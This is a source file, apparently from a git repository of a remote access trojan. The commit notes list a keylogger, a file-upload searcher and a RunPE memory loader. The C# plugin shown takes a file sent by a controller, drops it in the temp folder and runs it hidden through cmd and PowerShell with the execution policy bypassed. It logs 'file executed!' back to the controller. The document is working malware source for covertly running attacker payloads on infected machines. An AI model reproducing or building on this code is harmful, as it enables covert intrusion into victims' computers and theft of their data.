NYAN CAT 1e193d7e14 Update
fixed send to disk
fixed keylogger [clipboard] #172
fixed installation
added file searcher [to search and upload any file by it extension]
updated plugin save method
updated runpe send to memory
minor improvements

```diff
- You need to create a new stub from this version, and then use your old version to update all your clients, otherwise you won't be able to use the new plugins
```
2020-04-21 19:48:58 +03:00

57 lines
2.1 KiB
C#
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

using System;
using System.Diagnostics;
using System.IO;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Threading;
using MessagePackLib.MessagePack;
namespace Plugin.Handler
{
public class HandleSendTo
{
public void SendToDisk(MsgPack unpack_msgpack)
{
try
{
//Drop To Disk
string fullPath = Path.GetTempFileName() + "g r" + unpack_msgpack.ForcePathObject("Extension").AsString;
File.WriteAllBytes(fullPath, Zip.Decompress(unpack_msgpack.ForcePathObject("File").GetAsBytes()));
if (unpack_msgpack.ForcePathObject("Extension").AsString.ToLower().EndsWith(".ps1"))
Process.Start(new ProcessStartInfo
{
FileName = "cmd",
Arguments = $"/c start /b powershell ExecutionPolicy Bypass -WindowStyle Hidden -NoExit -File {"'" + "\"" + fullPath + "\"" + "'"} & exit",
CreateNoWindow = true,
WindowStyle = ProcessWindowStyle.Hidden,
UseShellExecute = true,
ErrorDialog = false,
});
else
Process.Start(new ProcessStartInfo
{
FileName = "cmd",
Arguments = $"/c start /b powershell Start-Process -FilePath {"'" + "\"" + fullPath + "\"" + "'"} & exit",
CreateNoWindow = true,
WindowStyle = ProcessWindowStyle.Hidden,
UseShellExecute = true,
ErrorDialog = false,
});
if (unpack_msgpack.ForcePathObject("Update").AsString == "true")
{
new HandleUninstall();
}
else
{
Packet.Log("file executed!");
}
}
catch (Exception ex)
{
Packet.Error(ex.Message);
}
Connection.Disconnected();
}
}
}